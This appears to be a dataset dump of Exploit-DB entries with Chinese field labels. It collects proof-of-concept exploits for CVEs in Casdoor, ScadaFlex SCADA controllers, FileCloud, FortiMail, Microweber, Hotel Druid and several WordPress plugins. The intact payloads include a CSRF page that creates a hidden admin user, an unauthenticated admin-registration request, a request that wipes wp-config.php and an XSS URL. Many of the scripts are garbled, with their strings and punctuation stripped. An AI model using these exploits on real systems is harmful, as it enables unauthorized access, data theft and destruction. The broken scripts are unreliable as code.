QLWD/code_shield huggingface dataset:
标题: Casdoor 1.13.0 - SQL Injection (Unauthenticated) EDB-ID: 50792 CVE: 2022-24124 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2022-02-28 漏洞利用脚本: // Exploit Title: Casdoor 1.13.0 - SQL Injection (Unauthenticated) 
// Date: 2022-02-25
// Exploit Author: Mayank Deshmukh
// Vendor Homepage: https://casdoor.org/
// Software Link: https://github.com/casdoor/casdoor/releases/tag/v1.13.0
// Version: version < 1.13.1
// Security Advisory: https://github.com/advisories/GHSA-m358-g4rp-533r
// Tested on: Kali Linux
// CVE : CVE-2022-24124
// Github POC: https://github.com/ColdFusionX/CVE-2022-24124

// Exploit Usage : go run exploit.go -u http://127.0.0.1:8080

package main

 
 
 
 
 
 
 
 
 


  
  url 
 flagurl   
 flag

 banner  
 fmtbanner
 fmt
 response err  httpurl  

  err   
  err
 

  responseBody

 databytes err  ioutilresponseBody

  err   
  err
 

 content  databytes

 re  regexp

 result  recontent 
 
 sqliop  fmtresult
 replacer  strings       
 
 finalop  replacersqliop
 fmthtmlfinalop


  result   
  fmt
  os URL: https://www.exploit-db.com/exploits/50792
标题: ICL ScadaFlex II SCADA Controllers SC-1/SC-2 1.03.07 - Remote File CRUD EDB-ID: 50783 CVE: 2022-25359 类型: REMOTE 平台: HARDWARE 发布日期: 2022-02-23 漏洞利用脚本: # Exploit Title: CL ScadaFlex II SCADA Controllers SC-1/SC-2 1.03.07 Remote File CRUD
# Exploit Author: LiquidWorm

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
#
# ICL ScadaFlex II SCADA Controllers SC-1/SC-2 1.03.07 Remote File CRUD
#
#
# Vendor: Industrial Control Links, Inc.
# Product web page: http://www.iclinks.com
# Product datasheet: http://files.iclinks.com/datasheets/Scadaflex%20II/Scadaflex%20SC-1%20&%20SC-2_A1_compressed.pdf














































 timesys
 requests
 datetime
 showtime




 
    

 trigger 
      

 n
    
         n  
            overwritecontrollerip  sysargv filepos  sysargv base  
         n  
            deletecontrollerip  sysargv filepos  sysargv base  
        
           
           
            SystemExit
     Exception  tip
         SystemExittip

 
    choice  sysargv    
    choice  sysargv    

 controllerip filepos
     start
    localfile  sysargv

     localfile   opener
        scadaurl   
        scadaurl  controllerip
        scadaurl  
        scadaurl  filepos
        scadaurl  
        scadaurl  openername
        scadaurl  
        scadaurl  timetime

        see  requestspostscadaurl files    opener

           seetext
             filepos
             controllerip  localfile
        
            
    exit

 controllerip filepos
     start
    exit  filepos   

    scadaurl   
    scadaurl  controllerip
    scadaurl  
    scadaurl  filepos
    scadaurl  
    scadaurl  timetime

    see  requestsgetscadaurl

    check     
    check    
    check    
    check    
    check    
    check    
    check  
    check  filepos
    check    
    check    
    
     check  seetext
        filepos
    
     
    exit

 
     safe
        
        exit
    
         end  
     start
    start  datetimedatetimenow
    start  startstrftime
    bann jump choice

 __name__  
    main URL: https://www.exploit-db.com/exploits/50783
标题: FileCloud 21.2 - Cross-Site Request Forgery (CSRF) EDB-ID: 50774 CVE: 2022-25241 类型: WEBAPPS 平台: PHP 发布日期: 2022-02-21 漏洞利用脚本: # Exploit Title: FileCloud 21.2 - Cross-Site Request Forgery (CSRF)
# Date: 2022-02-20
# Exploit Author: Masashi Fujiwara
# Vendor Homepage: https://www.filecloud.com/
# Software Link: https://hub.docker.com/r/filecloud/filecloudserver21.2
# Version: All versions of FileCloud prior to 21.3 (Fiexd: version 21.3.0.18447)
# Tested on:
#  OS: Ubuntu 18.04.6 LTS (Docker)
#  Apache: 2.4.52
#  FileCloud: 21.2.4.17315
# CVE: CVE-2022-25241 (https://www.filecloud.com/supportdocs/fcdoc/latest/server/security-advisories/advisory-2022-01-3-threat-of-csrf-via-user-creation)

# Conditions
1. Only vulnerable if cookies have samesite set to None (SameSite=None).
   echo 'define("TONIDOCLOUD_COOKIE_SAME_SITE_TYPE", "None");' >> /var/www/html/config/cloudconfig.php
2. Use https as target url (When cookies set SameSite=None, also set Secure).

# PoC (HTML)
<html>
<head>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">

<script>
function init(){
  myFormData = new FormData();
  let fileContent = new Blob(["UserName,EmailID,Password,DisplayName,Status,ExpirationDate,Groups,EmailVerified\nhacker,hacker@hacker.com,Password1,hacker,FULL,02/26/2222,Group1,YES\n"], {type: 'application/vnd.ms-excel'});
  myFormData.append("uploadFormElement", fileContent, "user.csv");
  fetch("https://192.168.159.129:8443/admin/?op=import&sendapprovalemail=0&sendpwdasplaintext=0", { method: "post", body: myFormData, credentials: "include"});
}
</script>
</head>
<body onload="init()">
CSRF PoC for CVE-2022-25241

Creat hacker user with Password1 via CSV file upload.
</body>
</html>



# HTTPS Request
POST /admin/?op=import&sendapprovalemail=0&sendpwdasplaintext=0 HTTP/1.1
Host: 192.168.159.129:8443
Cookie: X-XSRF-TOKEN-admin=rhedxvo0gullbvzkgwwv; X-XSRF-TOKEN=rhedxvo0gullbvzkgwwv; tonidocloud-au=admin; tonidocloud-as=29352577-cfaa-42e6-80e5-7a304bc78333; tonidocloud-ah=4514fb08f852d2682151efdb938d377734b1e493
Content-Length: 365
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiAXsUsJ2ZV54DFuW
Connection: close

------WebKitFormBoundaryiAXsUsJ2ZV54DFuW
Content-Disposition: form-data; name="uploadFormElement"; filename="user.csv"
Content-Type: application/vnd.ms-excel

UserName,EmailID,Password,DisplayName,Status,ExpirationDate,Groups,EmailVerified
hacker,hacker@hacker.com,Password1,hacker,FULL,02/26/2222,Group1,YES

------WebKitFormBoundaryiAXsUsJ2ZV54DFuW--



# CSV file format
UserName,EmailID,Password,DisplayName,Status,ExpirationDate,Groups,EmailVerified
hacker,hacker@hacker.com,Password1,hacker,FULL,02/26/2222,Group1,YES URL: https://www.exploit-db.com/exploits/50774
标题: WordPress Plugin WP User Frontend 3.5.25 - SQLi (Authenticated) EDB-ID: 50772 CVE: 2021-25076 类型: WEBAPPS 平台: PHP 发布日期: 2022-02-21 漏洞利用脚本: # Exploit Title: WordPress Plugin WP User Frontend 3.5.25 - SQLi (Authenticated)
# Date 20.02.2022
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://wedevs.com/
# Software Link: https://downloads.wordpress.org/plugin/wp-user-frontend.3.5.25.zip
# Version: < 3.5.25
# Tested on: Ubuntu 20.04
# CVE: CVE-2021-25076
# CWE: CWE-89
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-25076/README.md

'''
Description:
The WP User Frontend WordPress plugin before 3.5.26 does not validate and escape the status parameter
before using it in a SQL statement in the Subscribers dashboard, leading to an SQL injection.
Due to the lack of sanitisation and escaping, this could also lead to Reflected Cross-Site Scripting
'''

banner  
banner

 argparse
 datetime  datetime
 os
 requests
 json


my_parser  argparseArgumentParserdescription 
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
args  my_parserparse_args
target_ip  argsIP
target_port  argsPORT
wp_path  argsPATH
username  argsUSERNAME
password  argsPASSWORD



  datetimenowstrftime


session  requestsSession
auth_url    target_ip    target_port  wp_path  
check  sessiongetauth_url

header  
     target_ip
     
     
     
     
     
       target_ip
     
     



body  
     username
     password
     
     

auth  sessionpostauth_url headersheader databody



cookies_session  sessioncookiesget_dict
cookie  jsondumpscookies_session
cookie  cookiereplace
cookie  cookiereplace 
cookie  cookiereplace 
cookie  cookiereplace 
cookie  cookiereplace 
cookie  cookiereplace 

exploitcode_url  r  target_ip    target_port  wp_path  r
exploitcode_risk  
exploitcode_cookie    cookie  











retrieve_mode  
exploitcode  exploitcode_url  exploitcode_risk  exploitcode_cookie  retrieve_mode  
ossystemexploitcode
  datetimenowstrftime URL: https://www.exploit-db.com/exploits/50772
标题: Thinfinity VirtualUI 2.5.26.2 - Information Disclosure EDB-ID: 50771 CVE: 2021-46354 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2022-02-21 漏洞利用脚本: Exploit Title: Thinfinity VirtualUI  2.5.26.2 - Information Disclosure
Date: 18/01/2022
Exploit Author: Daniel Morales
Vendor: https://www.cybelesoft.com <https://www.cybelesoft.com/>
Software Link: https://www.cybelesoft.com/thinfinity/virtualui/ <https://www.cybelesoft.com/thinfinity/virtualui/>
Version vulnerable: Thinfinity VirtualUI < v2.5.26.2
Tested on: Microsoft Windows
CVE: CVE-2021-46354

How it works
External service interaction arises when it is possible to induce an application to interact with an arbitrary external service. The ability to send requests to other systems can allow the vulnerable server to filtrate the real IP of the webserver or increase the attack surface (it may be used also to filtrate the real IP behind a CDN).

Payload
An example of the HTTP request "https://example.com/cmd <https://example.com/cmd>?
cmd=connect&wscompression=true&destAddr=domain.com <http://domain.com/>
&scraper=fmx&screenWidth=1918&screenHeight=934&fitmode=0&argumentsp=&orientation=0&browserWidth=191
8&browserHeight=872&supportCur=true&id=null&devicePixelRatio=1&isMobile=false&isLandscape=true&supp
ortsFullScreen=true&webapp=false” 

Where "domain.com <http://domain.com/>" is the external endpoint to be requested.

Vulnerable versions
It has been tested in VirtualUI version 2.1.28.0, 2.1.32.1 and 2.5.26.2

References
https://github.com/cybelesoft/virtualui/issues/3 <https://github.com/cybelesoft/virtualui/issues/3>
https://www.tenable.com/cve/CVE-2021-46354 <https://www.tenable.com/cve/CVE-2021-46354>
https://twitter.com/danielmofer <https://twitter.com/danielmofer> URL: https://www.exploit-db.com/exploits/50771
标题: Thinfinity VirtualUI 2.5.41.0 - IFRAME Injection EDB-ID: 50770 CVE: 2021-45092 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2022-02-21 漏洞利用脚本: Exploit Title: Thinfinity VirtualUI 2.5.41.0  - IFRAME Injection
Date: 16/12/2021
Exploit Author: Daniel Morales
Vendor: https://www.cybelesoft.com <https://www.cybelesoft.com/>
Software Link: https://www.cybelesoft.com/thinfinity/virtualui/ <https://www.cybelesoft.com/thinfinity/virtualui/>
Version: Thinfinity VirtualUI < v3.0
Tested on: Microsoft Windows
CVE: CVE-2021-45092

How it works
By accessing the following payload (URL) an attacker could iframe any external website (of course, only external endpoints that allows being iframed).

Payload
The vulnerable vector is "https://example.com/lab.html?vpath=//wikipedia.com <https://example.com/lab.html?vpath=//wikipedia.com> " where "vpath=//" is the pointer to the external site to be iframed.

Vulnerable versions
It has been tested in VirtualUI version 2.1.37.2, 2.1.42.2, 2.5.0.0, 2.5.36.1, 2.5.36.2 and 2.5.41.0.

References
https://github.com/cybelesoft/virtualui/issues/2 <https://github.com/cybelesoft/virtualui/issues/2>
https://www.tenable.com/cve/CVE-2021-45092 <https://www.tenable.com/cve/CVE-2021-45092>
https://twitter.com/danielmofer <https://twitter.com/danielmofer> URL: https://www.exploit-db.com/exploits/50770
标题: Microweber 1.2.11 - Remote Code Execution (RCE) (Authenticated) EDB-ID: 50768 CVE: 2022-0557 类型: WEBAPPS 平台: PHP 发布日期: 2022-02-21 漏洞利用脚本: # Exploit Title: Microweber 1.2.11 - Remote Code Execution (RCE) (Authenticated)
# Google Dork: NA
# Date: 02/17/2022
# Exploit Author: Chetanya Sharma @AggressiveUser
# Vendor Homepage: https://microweber.org/
# Software Link: https://github.com/microweber/microweber
# Version: 1.2.11
# Tested on: [KALI OS]
# CVE : CVE-2022-0557
# Reference : https://huntr.dev/bounties/660c89af-2de5-41bc-aada-9e4e78142db8/

# Step To Reproduce
- Login using Admin Creds. 
- Navigate to User Section then Add/Modify Users
- Change/Add image of profile and Select a Crafted Image file 
- Crafted image file Aka A image file which craft with PHP CODES for execution  
- File Extension of Crafted File is PHP7 like "Sample.php7"

- Path of Uploaded Crafted SHELL https://localhost/userfiles/media/default/shell.php7 URL: https://www.exploit-db.com/exploits/50768
标题: WordPress Plugin Perfect Survey - 1.5.1 - SQLi (Unauthenticated) EDB-ID: 50766 CVE: 2021-24762 类型: WEBAPPS 平台: PHP 发布日期: 2022-02-21 漏洞利用脚本: # Exploit Title: WordPress Plugin Perfect Survey - 1.5.1 - SQLi (Unauthenticated)
# Date 18.02.2022
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.getperfectsurvey.com/
# Software Link: https://web.archive.org/web/20210817031040/https://downloads.wordpress.org/plugin/perfect-survey.1.5.1.zip
# Version: < 1.5.2
# Tested on: Ubuntu 20.04
# CVE: CVE-2021-24762
# CWE: CWE-89
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24762/README.md



banner  
banner

 argparse
 datetime  datetime
 os


my_parser  argparseArgumentParserdescription 
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
args  my_parserparse_args
target_ip  argsIP
target_port  argsPORT
wp_path  argsPATH

  datetimenowstrftime

exploitcode_url  r  target_ip    target_port  wp_path  r











retrieve_mode  
exploitcode  exploitcode_url   retrieve_mode  
ossystemexploitcode
  datetimenowstrftime URL: https://www.exploit-db.com/exploits/50766
标题: Fortinet Fortimail 7.0.1 - Reflected Cross-Site Scripting (XSS) EDB-ID: 50759 CVE: 2021-43062 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2022-02-18 漏洞利用脚本: # Exploit Title: Fortinet Fortimail 7.0.1 - Reflected Cross-Site Scripting (XSS)
# Google Dork: inurl:/fmlurlsvc/
# Date: 01-Feb-2022
# Exploit Author: Braiant Giraldo Villa
# Contact: @iron_fortress (Twitter)
# Vendor Homepage: https://www.fortinet.com/products/email-security
# Software Link: https://fortimail.fortidemo.com/m/webmail/ (Vendor Demo Online)
# Version: 
# FortiMail version 7.0.1 and below
# FortiMail version 6.4.5 and below
# FortiMail version 6.2.7 and below
# CVE: CVE-2021-43062 (https://www.fortiguard.com/psirt/FG-IR-21-185)


1. Description:
An improper neutralization of input during web page generation vulnerability ('Cross-site Scripting') [CWE-79] in FortiMail may allow an unauthenticated attacker to perform an XSS attack via crafted HTTP GET requests to the FortiGuard URI protection service.

2. Payload: https%3A%2F%google.com%3CSvg%2Fonload%3Dalert(1)%3E
3. Proof of Concept:
https://mydomain.com/fmlurlsvc/?=&url=https%3A%2F%2Fgoogle.com%3CSvg%2Fonload%3Dalert(1)%3E

4. References
https://www.fortiguard.com/psirt/FG-IR-21-185
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-43062 URL: https://www.exploit-db.com/exploits/50759
标题: Hotel Druid 3.0.3 - Remote Code Execution (RCE) EDB-ID: 50754 CVE: 2022-22909 类型: WEBAPPS 平台: PHP 发布日期: 2022-02-18 漏洞利用脚本: # Exploit Title: Hotel Druid 3.0.3 - Remote Code Execution (RCE)
# Date: 05/01/2022
# Exploit Author: 0z09e (https://twitter.com/0z09e)
# Vendor Homepage: https://www.hoteldruid.com/
# Software Link: https://www.hoteldruid.com/download/hoteldruid_3.0.3.tar.gz
# Version: 3.0.3
# CVE : CVE-2022-22909

#!/usr/bin/python3
import requests
import argparse

def login( target , username = "" , password = "", noauth=False):
 login_data = {
    "vers_hinc" : "1",
    "nome_utente_phpr" : username,
      password
     
   noauth
  login_req  requestspostf  datalogin_data  verify 
     login_reqtext
   token  login_reqtextsplitsplit
   anno  login_reqtextsplitsplit
   ret_data    token    anno
   
    ret_data
  
    
 
  login_req  requestsgetf  verify 
  
   anno  login_reqtextsplitsplit
   token  
   ret_data    token    anno
    ret_data
  
    

 target  anno  token
 priv_req  requestsgetf  verify
 
    priv_reqtext
   
 
   

 target  anno  token
 add_room_data   
     anno
     token
    
    
    
    
    
    
 add_req  requestspostf  dataadd_room_data  verify
 
    add_reqtext
   
 
   
 target
 code_execution_req  requestsgetf
    code_execution_reqtext
   code_execution_reqtextsplit
 
   


 

 banner  
 

 parser  argparseArgumentParser
 req_args  parseradd_argument_group
 req_argsadd_argument     required
 req_argsadd_argument      required
 req_argsadd_argument     required
 req_argsadd_argument  action  default   required
 args  parserparse_args                                                                         

 target  argstarget
  target  
  target  target
 noauth  argsnoauth

 username  argsusername
 password  argspassword

  noauth    username    password  
   
  quit

 banner
   noauth
  f
  login_result  loginusername  username  password  password  target  target
   login_result  
   token  login_resultget
   anno  login_resultget
  
   
   quit
 
  
  login_result  loginusername  username  password  password  target  target  noauth
   login_result  
   token  login_resultget
   anno  login_resultget 
  
   
   exit
 
  check_privilegetarget target  tokentoken  annoanno
  
 
  
  exit
 
  add_roomtarget  target  annoanno  tokentoken
  
 
  
  exit
 
 output  test_code_executiontarget  target
  output  
  f
  f
  f
  exit
 
  f
  exit
main URL: https://www.exploit-db.com/exploits/50754
标题: WordPress Plugin MasterStudy LMS 2.7.5 - Unauthenticated Admin Account Creation EDB-ID: 50752 CVE: 2022-0441 类型: WEBAPPS 平台: PHP 发布日期: 2022-02-18 漏洞利用脚本: # Title: WordPress Plugin MasterStudy LMS 2.7.5 - Unauthenticated Admin Account Creation
# Date: 16.02.2022
# Author: Numan Türle
# CVE: CVE-2022-0441
# Software Link: https://wordpress.org/plugins/masterstudy-lms-learning-management-system/
# Version: <2.7.6
# https://www.youtube.com/watch?v=SI_O6CHXMZk
# https://gist.github.com/numanturle/4762b497d3b56f1a399ea69aa02522a6
# https://wpscan.com/vulnerability/173c2efe-ee9c-4539-852f-c242b4f728ed


POST /wp-admin/admin-ajax.php?action=stm_lms_register&nonce=[NONCE] HTTP/1.1
Connection: close
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Accept-Language: tr,en;q=0.9,tr-TR;q=0.8,en-US;q=0.7,el;q=0.6,zh-CN;q=0.5,zh;q=0.4
Content-Type: application/json
Content-Length: 339

{"user_login":"USERNAME","user_email":"EMAIL@TLD","user_password":"PASSWORD","user_password_re":"PASSWORD","become_instructor":"","privacy_policy":true,"degree":"","expertize":"","auditory":"","additional":[],"additional_instructors":[],"profile_default_fields_for_register":{"wp_capabilities":{"value":{"administrator":1}}}} URL: https://www.exploit-db.com/exploits/50752
标题: WordPress Plugin Error Log Viewer 1.1.1 - Arbitrary File Clearing (Authenticated) EDB-ID: 50746 CVE: 2021-24966 类型: WEBAPPS 平台: PHP 发布日期: 2022-02-16 漏洞利用脚本: # Exploit Title: WordPress Plugin Error Log Viewer 1.1.1 - Arbitrary File Clearing (Authenticated)
# Date: 09-11-2021
# Exploit Author: Ceylan Bozogullarindan
# Exploit Website: https://bozogullarindan.com
# Vendor Homepage: https://bestwebsoft.com/
# Software Link: https://bestwebsoft.com/products/wordpress/plugins/error-log-viewer/
# Version: 1.1.1
# Tested on: Linux
# CVE: CVE-2021-24966 (https://wpscan.com/vulnerability/166a4f88-4f0c-4bf4-b624-5e6a02e21fa0)


# Description:

Error Log Viewer is a simple utility plugin that helps to find and view log files with errors right from the WordPress admin dashboard. Get access to all log files from one place. View the latest activity, select logs by date, view a full log file or clear a log file!

I've especially emphasized "clearing a log file" statement because the feature of "clearing a log file" can be used to delete an arbitrary file in a Wordpress web site. The reason of the vulnerability is that, the value of a file path which is going to be deleted is not properly and sufficiently controlled. Name of the parameter leading to the vulnerability is "rrrlgvwr_clear_file_name". It can be manipulated only authenticated users.

An attacker can use this vulnerability; to destroy the web site by deleting wp-config.php file, or to cover the fingerprints by clearing related log files.

# Steps To Reproduce

1. Install and activate the plugin.
2. Click the "Log Monitor" available under Error Log Viewer menu item.
3. Choose a log file to clear.
4. Intercept the request via Burp or any other local proxy tool.
5. Replace the value of the parameter "rrrlgvwr_clear_file_name" with a file path which is going to be cleared, such as /var/www/html/wp-config.php.
6. Check the content of the cleared file. You will see that the file is empty.


# PoC - Supported Materials

---------------------------------------------------------------------------
POST /wp-admin/admin.php?page=rrrlgvwr-monitor.php HTTP/1.1
Host: 127.0.0.1:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 603
Connection: close
Upgrade-Insecure-Requests: 1
Cookie: [admin+]

rrrlgvwr_select_log=%2Fvar%2Fwww%2Fhtml%2Fwp-content%2Fplugins%2Flearnpress%2Finc%2Fgateways%2Fpaypal%2Fpaypal-ipn%2Fipn_errors.log&rrrlgvwr_lines_count=10&rrrlgvwr_from=&rrrlgvwr_to=&rrrlgvwr_show_content=all&rrrlgvwr_newcontent=%5B05-Feb-2015+07%3A28%3A49+UTC%5D+Invalid+HTTP+request+method.%0D%0A%0D%0A++++++++++++++++++++++++&rrrlgvwr_clear_file=Clear+log+file&rrrlgvwr_clear_file_name=/var/www/html/wp-config.php&rrrlgvwr_nonce_name=1283d54cc5&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Drrrlgvwr-monitor.php
--------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/50746
标题: WordPress Plugin Secure Copy Content Protection and Content Locking 2.8.1 - SQL-Injection (Unauthenticated) EDB-ID: 50733 CVE: 2021-24931 类型: WEBAPPS 平台: PHP 发布日期: 2022-02-10 漏洞利用脚本: # Exploit Title: WordPress Plugin Secure Copy Content Protection and Content Locking 2.8.1 - SQL-Injection (Unauthenticated)
# Date 08.02.2022
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://ays-pro.com/
# Software Link: https://downloads.wordpress.org/plugin/secure-copy-content-protection.2.8.1.zip
# Version: < 2.8.2
# Tested on: Ubuntu 20.04
# CVE: CVE-2021-24931
# CWE: CWE-89
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24931/README.md



banner  
banner
 argparse
 datetime  datetime
 os


my_parser  argparseArgumentParserdescription 
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
args  my_parserparse_args
target_ip  argsIP
target_port  argsPORT
wp_path  argsPATH


  datetimenowstrftime

exploitcode_url  r  target_ip    target_port  wp_path  r











retrieve_mode  
exploitcode  exploitcode_url   retrieve_mode  
ossystemexploitcode
  datetimenowstrftime URL: https://www.exploit-db.com/exploits/50733